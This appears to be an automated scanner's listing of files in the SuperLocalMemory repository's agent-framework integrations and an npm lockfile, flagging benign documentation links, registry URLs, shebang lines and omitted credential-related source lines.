Google ADK [`BaseMemoryService`](https://google.github.io/adk-docs/) backed by - Network accessline 5
[SuperLocalMemory](https://github.com/qualixar/superlocalmemory). - Network accessline 14
- Python >=3.12,<3.15 (3.12, 3.13, 3.14) - [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in a **separate** virtual environment; set `SLM_ENGINE_PYTHON` to its Python executable - Network accessline 15
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in a **separate** virtual environment; set `SLM_ENGINE_PYTHON` to its Python executable - Network accessline 26
git clone https://github.com/qualixar/superlocalmemory - Network accessline 38
# https://google.github.io/adk-docs/sessions/memory/ - Network accessline 88
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) - Network accessline 89
- [Documentation](https://superlocalmemory.com/) - Network accessline 90
- [Google ADK](https://google.github.io/adk-docs/)
ide/integrations/google-adk/google_adk_superlocalmemory/__init__.py
- Executable scriptline 1
#!/usr/bin/env python3
ide/integrations/google-adk/google_adk_superlocalmemory/_v3_adk_store.py
ide/integrations/google-adk/google_adk_superlocalmemory/memory_service.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 30
# Current native API (opened 2026-10-11): # https://google.github.io/adk-docs/sessions/memory/ - Network accessline 31
# https://google.github.io/adk-docs/sessions/memory/ - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted] - Network accessline 106
"""Build the supported native MemoryEntry with an ISO 8601 timestamp.""" # https://raw.githubusercontent.com/google/adk-python/main/src/google/adk/memory/memory_entry.py - Network accessline 107
# https://raw.githubusercontent.com/google/adk-python/main/src/google/adk/memory/memory_entry.py
ide/integrations/google-adk/hatch_build.py
ide/integrations/google-adk/pyproject.toml
- Network accessline 23
] # Upstream dependency contract opened 2026-10-11: # https://pypi.org/pypi/google-adk/json - Network accessline 24
# Upstream dependency contract opened 2026-10-11: # https://pypi.org/pypi/google-adk/json # SLM runs separately through SLM_ENGINE_PYTHON; do not embed its runtime here. - Network accessline 25
# https://pypi.org/pypi/google-adk/json - Network accessline 31
[project.urls] Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 32
Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 33
Documentation = "https://superlocalmemory.com/" - Network accessline 34
Repository = "https://github.com/qualixar/superlocalmemory"
ide/integrations/google-adk/tests/__init__.py
- Executable scriptline 1
Executable file
ide/integrations/google-adk/tests/conftest.py
- Executable scriptline 1
Executable file
ide/integrations/google-adk/tests/test_adk_store.py
- Executable scriptline 1
Executable file
ide/integrations/google-adk/tests/test_memory_service.py
- Executable scriptline 1
Executable file
ide/integrations/google-adk/tests/test_security.py
- Executable scriptline 1
Executable file
ide/integrations/langchain/README.md
- Network accessline 3
LangChain chat message history backed by the local data root of [SuperLocalMemory](https://github.com/qualixar/superlocalmemory). - Network accessline 9
- Python >=3.12,<3.15 (3.12, 3.13, 3.14) - [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in the same Python environment - Network accessline 10
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in the same Python environment - Network accessline 23
git clone https://github.com/qualixar/superlocalmemory - Network accessline 108
- [SuperLocalMemory Repository](https://github.com/qualixar/superlocalmemory) - Network accessline 109
- [Documentation](https://superlocalmemory.com/) - Network accessline 110
- [LangChain Documentation](https://python.langchain.com/)
ide/integrations/langchain/langchain_superlocalmemory/__init__.py
- Executable scriptline 1
#!/usr/bin/env python3
ide/integrations/langchain/langchain_superlocalmemory/_v3_store.py
ide/integrations/langchain/langchain_superlocalmemory/chat_message_history.py
ide/integrations/langchain/pyproject.toml
- Network accessline 32
[project.urls] Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 33
Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 34
Documentation = "https://superlocalmemory.com/" - Network accessline 35
Repository = "https://github.com/qualixar/superlocalmemory"
ide/integrations/langchain/tests/__init__.py
- Executable scriptline 1
#!/usr/bin/env python3
ide/integrations/langchain/tests/test_chat_message_history.py
- Executable scriptline 1
#!/usr/bin/env python3
ide/integrations/langchain/tests/test_security.py
- Executable scriptline 1
#!/usr/bin/env python3
ide/integrations/langgraph/README.md
- Network accessline 3
LangGraph [`BaseStore`](https://langchain-ai.github.io/langgraph/) (long-term - Network accessline 5
[SuperLocalMemory](https://github.com/qualixar/superlocalmemory). - Network accessline 14
- Python >=3.12,<3.15 (3.12, 3.13, 3.14) - [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in the same environment - Network accessline 15
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in the same environment - Network accessline 24
git clone https://github.com/qualixar/superlocalmemory - Network accessline 88
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) - Network accessline 89
- [Documentation](https://superlocalmemory.com/) - Network accessline 90
- [LangGraph](https://langchain-ai.github.io/langgraph/)
ide/integrations/langgraph/langgraph_superlocalmemory/__init__.py
- Executable scriptline 1
#!/usr/bin/env python3
ide/integrations/langgraph/langgraph_superlocalmemory/_v3_kv_store.py
- Executable scriptline 1
Executable file
ide/integrations/langgraph/langgraph_superlocalmemory/store.py
ide/integrations/langgraph/pyproject.toml
- Network accessline 29
[project.urls] Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 30
Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 31
Documentation = "https://superlocalmemory.com/" - Network accessline 32
Repository = "https://github.com/qualixar/superlocalmemory"
ide/integrations/langgraph/tests/__init__.py
- Executable scriptline 1
Executable file
ide/integrations/langgraph/tests/conftest.py
- Executable scriptline 1
Executable file
ide/integrations/langgraph/tests/test_kv_store.py
- Executable scriptline 1
Executable file
ide/integrations/langgraph/tests/test_security.py
- Executable scriptline 1
Executable file
ide/integrations/langgraph/tests/test_store.py
- Executable scriptline 1
Executable file
ide/integrations/llamaindex/README.md
- Network accessline 3
A LlamaIndex `BaseChatStore` integration for [SuperLocalMemory](https://github.com/qualixar/superlocalmemory). - Network accessline 7
- Python >=3.12,<3.15 (3.12, 3.13, 3.14) - [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in the same Python virtual environment - Network accessline 8
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in the same Python virtual environment - Network accessline 24
git clone https://github.com/qualixar/superlocalmemory - Access to secretsline 74
[Credential-related source omitted] - Network accessline 88
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) - Network accessline 89
- [LlamaIndex Documentation](https://docs.llamaindex.ai/) - Network accessline 90
- [LlamaIndex Chat Stores Guide](https://docs.llamaindex.ai/en/stable/module_guides/storing/chat_stores/)
ide/integrations/llamaindex/llama_index/storage/chat_store/superlocalmemory/__init__.py
- Executable scriptline 1
#!/usr/bin/env python3
ide/integrations/llamaindex/llama_index/storage/chat_store/superlocalmemory/_v3_store.py
ide/integrations/llamaindex/llama_index/storage/chat_store/superlocalmemory/base.py
ide/integrations/llamaindex/pyproject.toml
- Network accessline 28
[project.urls] Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 29
Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 30
Documentation = "https://superlocalmemory.com/" - Network accessline 31
Repository = "https://github.com/qualixar/superlocalmemory"
ide/integrations/llamaindex/tests/__init__.py
- Executable scriptline 1
#!/usr/bin/env python3
ide/integrations/llamaindex/tests/test_chat_store.py
- Executable scriptline 1
#!/usr/bin/env python3
ide/integrations/llamaindex/tests/test_security.py
- Executable scriptline 1
#!/usr/bin/env python3
ide/integrations/openai-agents/README.md
- Network accessline 3
OpenAI Agents SDK [`SessionABC`](https://openai.github.io/openai-agents-python/) (conversation - Network accessline 4
[`SessionABC`](https://openai.github.io/openai-agents-python/) (conversation - Network accessline 6
[SuperLocalMemory](https://github.com/qualixar/superlocalmemory). - Network accessline 15
- Python >=3.12,<3.15 (3.12, 3.13, 3.14) - [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in the same environment - Network accessline 16
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in the same environment - Network accessline 25
git clone https://github.com/qualixar/superlocalmemory - Network accessline 84
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) - Network accessline 85
- [Documentation](https://superlocalmemory.com/) - Network accessline 86
- [OpenAI Agents SDK](https://openai.github.io/openai-agents-python/)
ide/integrations/openai-agents/openai_agents_superlocalmemory/__init__.py
- Executable scriptline 1
#!/usr/bin/env python3
ide/integrations/openai-agents/openai_agents_superlocalmemory/_v3_session_store.py
- Executable scriptline 1
Executable file
ide/integrations/openai-agents/openai_agents_superlocalmemory/session.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 20
# https://openai.github.io/openai-agents-python/sessions/ - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted]
ide/integrations/openai-agents/pyproject.toml
- Network accessline 29
[project.urls] Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 30
Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 31
Documentation = "https://superlocalmemory.com/" - Network accessline 32
Repository = "https://github.com/qualixar/superlocalmemory"
ide/integrations/openai-agents/tests/__init__.py
- Executable scriptline 1
Executable file
ide/integrations/openai-agents/tests/conftest.py
- Executable scriptline 1
Executable file
ide/integrations/openai-agents/tests/test_security.py
- Executable scriptline 1
Executable file
ide/integrations/openai-agents/tests/test_session.py
ide/integrations/openai-agents/tests/test_session_store.py
- Executable scriptline 1
Executable file
ide/integrations/semantic-kernel/README.md
- Network accessline 3
[Semantic Kernel](https://learn.microsoft.com/en-us/semantic-kernel/) vector - Network accessline 5
[SuperLocalMemory](https://github.com/qualixar/superlocalmemory). - Network accessline 13
- Python >=3.12,<3.15 (3.12, 3.13, 3.14) - [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in a **separate** virtual environment; set `SLM_ENGINE_PYTHON` to its Python executable - Network accessline 14
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) installed in a **separate** virtual environment; set `SLM_ENGINE_PYTHON` to its Python executable - Network accessline 25
git clone https://github.com/qualixar/superlocalmemory - Network accessline 80
- [SuperLocalMemory](https://github.com/qualixar/superlocalmemory) - Network accessline 81
- [Documentation](https://superlocalmemory.com/) - Network accessline 82
- [Semantic Kernel](https://learn.microsoft.com/en-us/semantic-kernel/)
ide/integrations/semantic-kernel/hatch_build.py
ide/integrations/semantic-kernel/pyproject.toml
- Network accessline 23
] # Upstream dependency contract opened 2026-10-11: # https://pypi.org/pypi/semantic-kernel/json - Network accessline 24
# Upstream dependency contract opened 2026-10-11: # https://pypi.org/pypi/semantic-kernel/json # SLM runs separately through SLM_ENGINE_PYTHON; do not embed its runtime here. - Network accessline 25
# https://pypi.org/pypi/semantic-kernel/json - Network accessline 31
[project.urls] Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 32
Homepage = "https://github.com/qualixar/superlocalmemory" - Network accessline 33
Documentation = "https://superlocalmemory.com/" - Network accessline 34
Repository = "https://github.com/qualixar/superlocalmemory"
ide/integrations/semantic-kernel/semantic_kernel_superlocalmemory/__init__.py
- Executable scriptline 1
#!/usr/bin/env python3
ide/integrations/semantic-kernel/semantic_kernel_superlocalmemory/_v3_record_store.py
ide/integrations/semantic-kernel/semantic_kernel_superlocalmemory/collection.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 32
# Current native API (opened 2026-10-11): # https://raw.githubusercontent.com/microsoft/semantic-kernel/main/python/semantic_kernel/data/vector.py - Network accessline 33
# https://raw.githubusercontent.com/microsoft/semantic-kernel/main/python/semantic_kernel/data/vector.py - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 58
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted]
ide/integrations/semantic-kernel/tests/__init__.py
- Executable scriptline 1
Executable file
ide/integrations/semantic-kernel/tests/conftest.py
- Executable scriptline 1
Executable file
ide/integrations/semantic-kernel/tests/test_collection.py
- Executable scriptline 1
Executable file
ide/integrations/semantic-kernel/tests/test_record_store.py
- Executable scriptline 1
Executable file
integrations/__init__.py
integrations/crewai_memory.py
integrations/langchain_memory.py
- Executable scriptline 1
Executable file - Network accessline 13
See: https://github.com/qualixar/langchain-superlocalmemory - Network accessline 18
Part of Qualixar | Author: Varun Pratap Bhardwaj (qualixar.com) Paper: https://arxiv.org/abs/2603.14588 - Network accessline 19
Paper: https://arxiv.org/abs/2603.14588
integrations/remote-gateway/package-lock.json
- Network accessline 27
"node_modules/@asamuzakjp/css-color": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-3.2.0.tgz", - Network accessline 28
"version": "3.2.0", "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-3.2.0.tgz", "integrity": "sha512-K1A6z8tS3XsmCMM86xoWdn7Fkdn9m6RSVtocUrJYIwZnFVkng/PvkEoWtOWmP+Scc6saYWHWZYbndEEXxl24jw==", - Network accessline 29
"resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-3.2.0.tgz", - Network accessline 41
"node_modules/@cloudflare/kv-asset-handler": { "version": "0.5.0", "resolved": "https://registry.npmjs.org/@cloudflare/kv-asset-handler/-/kv-asset-handler-0.5.0.tgz", - Network accessline 42
"version": "0.5.0", "resolved": "https://registry.npmjs.org/@cloudflare/kv-asset-handler/-/kv-asset-handler-0.5.0.tgz", "integrity": "sha512-jxQYkj8dSIzc0cD6cMMNdOc1UVjqSqu8BZdor5s8cGjW2I8BjODt/kWPVdY+u9zj3ms75Q5qaZgnxUad83+eAg= - Network accessline 43
"resolved": "https://registry.npmjs.org/@cloudflare/kv-asset-handler/-/kv-asset-handler-0.5.0.tgz", - Network accessline 51
"node_modules/@cloudflare/unenv-preset": { "version": "2.16.1", "resolved": "https://registry.npmjs.org/@cloudflare/unenv-preset/-/unenv-preset-2.16.1.tgz", - Network accessline 52
"version": "2.16.1", "resolved": "https://registry.npmjs.org/@cloudflare/unenv-preset/-/unenv-preset-2.16.1.tgz", "integrity": "sha512-ECxObrMfyTl5bhQf/lZCXwo5G6xX9IAUo+nDMKK4SZ8m4Jvvxp52vilxyySSWh2YTZz8+HQ07qGH/2rEom1vDw==", - Network accessline 53
"resolved": "https://registry.npmjs.org/@cloudflare/unenv-preset/-/unenv-preset-2.16.1.tgz", - Network accessline 67
"node_modules/@cloudflare/vitest-pool-workers": { "version": "0.19.0", "resolved": "https://registry.npmjs.org/@cloudflare/vitest-pool-workers/-/vitest-pool-workers-0.19.0.tgz", - Network accessline 68
"version": "0.19.0", "resolved": "https://registry.npmjs.org/@cloudflare/vitest-pool-workers/-/vitest-pool-workers-0.19.0.tgz", "integrity": "sha512-6t6zs1YBoAo9jJVpA8pTxPWYEY3c/ai07MWZYJ4vkUc5cyW9PHfMB6tFhDsRg7eLS+i26NMuB3aUOlB - Network accessline 69
"resolved": "https://registry.npmjs.org/@cloudflare/vitest-pool-workers/-/vitest-pool-workers-0.19.0.tgz", - Network accessline 86
"node_modules/@cloudflare/workerd-darwin-64": { "version": "1.20260722.1", "resolved": "https://registry.npmjs.org/@cloudflare/workerd-darwin-64/-/workerd-darwin-64-1.20260722.1.tgz", - Network accessline 87
"version": "1.20260722.1", "resolved": "https://registry.npmjs.org/@cloudflare/workerd-darwin-64/-/workerd-darwin-64-1.20260722.1.tgz", "integrity": "sha512-vZOP8vIS3NwnuaO+gz0FZ7kIGeiO3bZmxV35Ph9zOXKSREhDFlH7wQ7mkCdhW3O4jnXsew+ - Network accessline 88
"resolved": "https://registry.npmjs.org/@cloudflare/workerd-darwin-64/-/workerd-darwin-64-1.20260722.1.tgz", - Network accessline 103
"node_modules/@cloudflare/workerd-darwin-arm64": { "version": "1.20260722.1", "resolved": "https://registry.npmjs.org/@cloudflare/workerd-darwin-arm64/-/workerd-darwin-arm64-1.20260722.1.tgz", - Network accessline 104
"version": "1.20260722.1", "resolved": "https://registry.npmjs.org/@cloudflare/workerd-darwin-arm64/-/workerd-darwin-arm64-1.20260722.1.tgz", "integrity": "sha512-EmIQymihDq6WNdER4+LF8Qn80yqayBUpJ+tkOO7wmY8pmgfyXjIUFNXotl21AHovT - Network accessline 105
"resolved": "https://registry.npmjs.org/@cloudflare/workerd-darwin-arm64/-/workerd-darwin-arm64-1.20260722.1.tgz", - Network accessline 120
"node_modules/@cloudflare/workerd-linux-64": { "version": "1.20260722.1", "resolved": "https://registry.npmjs.org/@cloudflare/workerd-linux-64/-/workerd-linux-64-1.20260722.1.tgz", - Network accessline 121
"version": "1.20260722.1", "resolved": "https://registry.npmjs.org/@cloudflare/workerd-linux-64/-/workerd-linux-64-1.20260722.1.tgz", "integrity": "sha512-jvZ3k9fxcnEn04s80CgIYxQfpOyAiz/8qC42DP8EBa9tR27qWyg9wmm31zIobVlrgBZn/+8Nf - Network accessline 122
"resolved": "https://registry.npmjs.org/@cloudflare/workerd-linux-64/-/workerd-linux-64-1.20260722.1.tgz", - Network accessline 137
"node_modules/@cloudflare/workerd-linux-arm64": { "version": "1.20260722.1", "resolved": "https://registry.npmjs.org/@cloudflare/workerd-linux-arm64/-/workerd-linux-arm64-1.20260722.1.tgz", - Network accessline 138
"version": "1.20260722.1", "resolved": "https://registry.npmjs.org/@cloudflare/workerd-linux-arm64/-/workerd-linux-arm64-1.20260722.1.tgz", "integrity": "sha512-BOSB55SMNdy+DA5uj2WirgiNanpHGis5PVvXH1wSfvjRKr4JGgWK+EZzxz0RFUo6Qjj - Network accessline 139
"resolved": "https://registry.npmjs.org/@cloudflare/workerd-linux-arm64/-/workerd-linux-arm64-1.20260722.1.tgz", - Network accessline 154
"node_modules/@cloudflare/workerd-windows-64": { "version": "1.20260722.1", "resolved": "https://registry.npmjs.org/@cloudflare/workerd-windows-64/-/workerd-windows-64-1.20260722.1.tgz", - Network accessline 155
"version": "1.20260722.1", "resolved": "https://registry.npmjs.org/@cloudflare/workerd-windows-64/-/workerd-windows-64-1.20260722.1.tgz", "integrity": "sha512-sYM8YgUpKnRz2xjvdJLX1Ojzoi4MlA4gk8WTTExhGydjYB2UTs5NIbv0ZmpKgMoK9io3i - Network accessline 156
"resolved": "https://registry.npmjs.org/@cloudflare/workerd-windows-64/-/workerd-windows-64-1.20260722.1.tgz", - Network accessline 171
"node_modules/@cloudflare/workers-oauth-provider": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/@cloudflare/workers-oauth-provider/-/workers-oauth-provider-1.2.1.tgz", - Network accessline 172
"version": "1.2.1", "resolved": "https://registry.npmjs.org/@cloudflare/workers-oauth-provider/-/workers-oauth-provider-1.2.1.tgz", "integrity": "sha512-5bw7JJI9Nd4ArHfNnvTF8H2OpSbA2GbqTmX80ly47h7dR+atgjFsn9Wfz+biKlAKClTEUYE0KAr - Network accessline 173
"resolved": "https://registry.npmjs.org/@cloudflare/workers-oauth-provider/-/workers-oauth-provider-1.2.1.tgz", - Network accessline 177
"node_modules/@cloudflare/workers-types": { "version": "5.20261006.1", "resolved": "https://registry.npmjs.org/@cloudflare/workers-types/-/workers-types-5.20261006.1.tgz", - Network accessline 178
"version": "5.20261006.1", "resolved": "https://registry.npmjs.org/@cloudflare/workers-types/-/workers-types-5.20261006.1.tgz", "integrity": "sha512-5OclwQK1d8f5LCPvOlyldC3ryKLUa4nLXegcgPZeUxAPudczQ9xujJDdpS2Tenp7JqbBLW3OgGciHJm - Network accessline 179
"resolved": "https://registry.npmjs.org/@cloudflare/workers-types/-/workers-types-5.20261006.1.tgz", - Network accessline 184
"node_modules/@cspotcode/source-map-support": { "version": "0.8.1", "resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz", - Network accessline 185
"version": "0.8.1", "resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz", "integrity": "sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrV - Network accessline 186
"resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz", - Network accessline 197
"node_modules/@csstools/color-helpers": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-5.1.0.tgz", - Network accessline 198
"version": "5.1.0", "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-5.1.0.tgz", "integrity": "sha512-S11EXWJyy0Mz5SYvRmY8nJYTFFd1LCNV+7cXyAgQtOOuzb4EsgfqDufL+9esx72/eLhsRdGZwaldu/h+E4t4BA==", - Network accessline 199
"resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-5.1.0.tgz", - Network accessline 203
{ "type": "github", "url": "https://github.com/sponsors/csstools" - Network accessline 204
"type": "github", "url": "https://github.com/sponsors/csstools" }, - Network accessline 205
"url": "https://github.com/sponsors/csstools" - Network accessline 207
{ "type": "opencollective", "url": "https://opencollective.com/csstools" - Network accessline 208
"type": "opencollective", "url": "https://opencollective.com/csstools" } - Network accessline 209
"url": "https://opencollective.com/csstools" - Network accessline 217
"node_modules/@csstools/css-calc": { "version": "2.1.4", "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-2.1.4.tgz", - Network accessline 218
"version": "2.1.4", "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-2.1.4.tgz", "integrity": "sha512-3N8oaj+0juUw/1H3YwmDDJXCgTB1gKU6Hc/bB502u9zR0q2vd786XJH9QfrKIEgFlZmhZiq6epXl4rHqhzsIgQ==", - Network accessline 219
"resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-2.1.4.tgz", - Network accessline 223
{ "type": "github", "url": "https://github.com/sponsors/csstools" - Network accessline 224
"type": "github", "url": "https://github.com/sponsors/csstools" }, - Network accessline 225
"url": "https://github.com/sponsors/csstools" - Network accessline 227
{ "type": "opencollective", "url": "https://opencollective.com/csstools" - Network accessline 228
"type": "opencollective", "url": "https://opencollective.com/csstools" } - Network accessline 229
"url": "https://opencollective.com/csstools" - Network accessline 241
"node_modules/@csstools/css-color-parser": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-3.1.0.tgz", - Network accessline 242
"version": "3.1.0", "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-3.1.0.tgz", "integrity": "sha512-nbtKwh3a6xNVIp/VRuXV64yTKnb1IjTAEEh3irzS+HkKjAOYLTGNb9pmVNntZ8iVBHcWDA2Dof0QtPgFI1BaTA==" - Network accessline 243
"resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-3.1.0.tgz", - Network accessline 247
{ "type": "github", "url": "https://github.com/sponsors/csstools" - Network accessline 248
"type": "github", "url": "https://github.com/sponsors/csstools" }, - Network accessline 249
"url": "https://github.com/sponsors/csstools" - Network accessline 251
{ "type": "opencollective", "url": "https://opencollective.com/csstools" - Network accessline 252
"type": "opencollective", "url": "https://opencollective.com/csstools" } - Network accessline 253
"url": "https://opencollective.com/csstools" - Network accessline 269
"node_modules/@csstools/css-parser-algorithms": { "version": "3.0.5", "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-3.0.5.tgz", - Network accessline 270
"version": "3.0.5", "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-3.0.5.tgz", "integrity": "sha512-DaDeUkXZKjdGhgYaHNJTV9pV7Y9B3b644jCLs9Upc3VeNGg6LWARAT6O+Q+/COo+2gg/bM5rhpMAtf7 - Network accessline 271
"resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-3.0.5.tgz", - Network accessline 275
{ "type": "github", "url": "https://github.com/sponsors/csstools" - Network accessline 276
"type": "github", "url": "https://github.com/sponsors/csstools" }, - Network accessline 277
"url": "https://github.com/sponsors/csstools" - Network accessline 279
{ "type": "opencollective", "url": "https://opencollective.com/csstools" - Network accessline 280
"type": "opencollective", "url": "https://opencollective.com/csstools" } - Network accessline 281
"url": "https://opencollective.com/csstools" - Network accessline 292
"node_modules/@csstools/css-tokenizer": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-3.0.4.tgz", - Network accessline 293
"version": "3.0.4", "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-3.0.4.tgz", "integrity": "sha512-Vd/9EVDiu6PPJt9yAh6roZP6El1xHrdvIVGjyBsHR0RYwNHgL7FJPyIIW4fANJNG6FtyZfvlRPpFI4ZM/lubvw==", - Network accessline 294
"resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-3.0.4.tgz", - Network accessline 298
{ "type": "github", "url": "https://github.com/sponsors/csstools" - Network accessline 299
"type": "github", "url": "https://github.com/sponsors/csstools" }, - Network accessline 300
"url": "https://github.com/sponsors/csstools" - Network accessline 302
{ "type": "opencollective", "url": "https://opencollective.com/csstools" - Network accessline 303
"type": "opencollective", "url": "https://opencollective.com/csstools" } - Network accessline 304
"url": "https://opencollective.com/csstools" - Network accessline 312
"node_modules/@emnapi/runtime": { "version": "1.11.3", "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.11.3.tgz", - Network accessline 313
"version": "1.11.3", "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.11.3.tgz", "integrity": "sha512-Xz4Tpyki7XyrpbUK1jR1AhdAdaXyhhY4lZ3neLodmhpuWfy2PAQN5B46sAiU4liOXGLkHypn/qU+jvfWSCYYLA==", - Network accessline 314
"resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.11.3.tgz", - Network accessline 323
"node_modules/@esbuild/aix-ppc64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.28.1.tgz", - Network accessline 324
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.28.1.tgz", "integrity": "sha512-Svl7tq8k/08+p6CXPpRjQ1fKX+1odH/BQbb48fV6fj3CWHhsoIOoY87w1oHXm0qEpkIK3ZfVgp0hed3XBXzXMQ==", - Network accessline 325
"resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.28.1.tgz", - Network accessline 340
"node_modules/@esbuild/android-arm": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.28.1.tgz", - Network accessline 341
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.28.1.tgz", "integrity": "sha512-0k2F129Xdio1TdJfzJ8sy1Q47vUD2NnwdhiAf7drUN1EBTfPf4hsFCtmMgu/6m8JSzsBrlmVjudMBQqOfG8usQ==", - Network accessline 342
"resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.28.1.tgz", - Network accessline 357
"node_modules/@esbuild/android-arm64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.28.1.tgz", - Network accessline 358
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.28.1.tgz", "integrity": "sha512-34EGEbCIAgosYz6goLcopX6Mo7NyGv9tfwEM2/7Ce2VcVRk568iSvniGWcUXIy7wEDR1wzolcxcriFVrWYcwBg==", - Network accessline 359
"resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.28.1.tgz", - Network accessline 374
"node_modules/@esbuild/android-x64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.28.1.tgz", - Network accessline 375
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.28.1.tgz", "integrity": "sha512-dbwY7ltSMDWsRatcRpCnES4F+im88OCUgGZjy52shC7GqHRE/cYlxNbB4Z4UpJswpcc4Qxd2oE/ufM0p61IKng==", - Network accessline 376
"resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.28.1.tgz", - Network accessline 391
"node_modules/@esbuild/darwin-arm64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.28.1.tgz", - Network accessline 392
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.28.1.tgz", "integrity": "sha512-TZbWkQY7kvTAXbXUT7uVACR5cMHsDiSz9z7ZKAX/RTq/WJEk3QyRr0wZpNhBDX+/0CtdqUIJlOiodQcta6tY3Q==", - Network accessline 393
"resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.28.1.tgz", - Network accessline 408
"node_modules/@esbuild/darwin-x64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.28.1.tgz", - Network accessline 409
"version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.28.1.tgz", "integrity": "sha512-zfdzgK9ACBNZLI/CyHTOx81SyNbM6YXn7rxSgX97VjyiPl9W1i4Ka4fgKECEoFCKGpvBj5qArWIGgQjOwkgskQ==", - Network accessline 410
"resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.28.1.tgz", - Network accessline 425
"node_modules/@esbuild/freebsd-arm64": { "version": "0.28.1", "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.28.1.tgz", - Network accessline 426
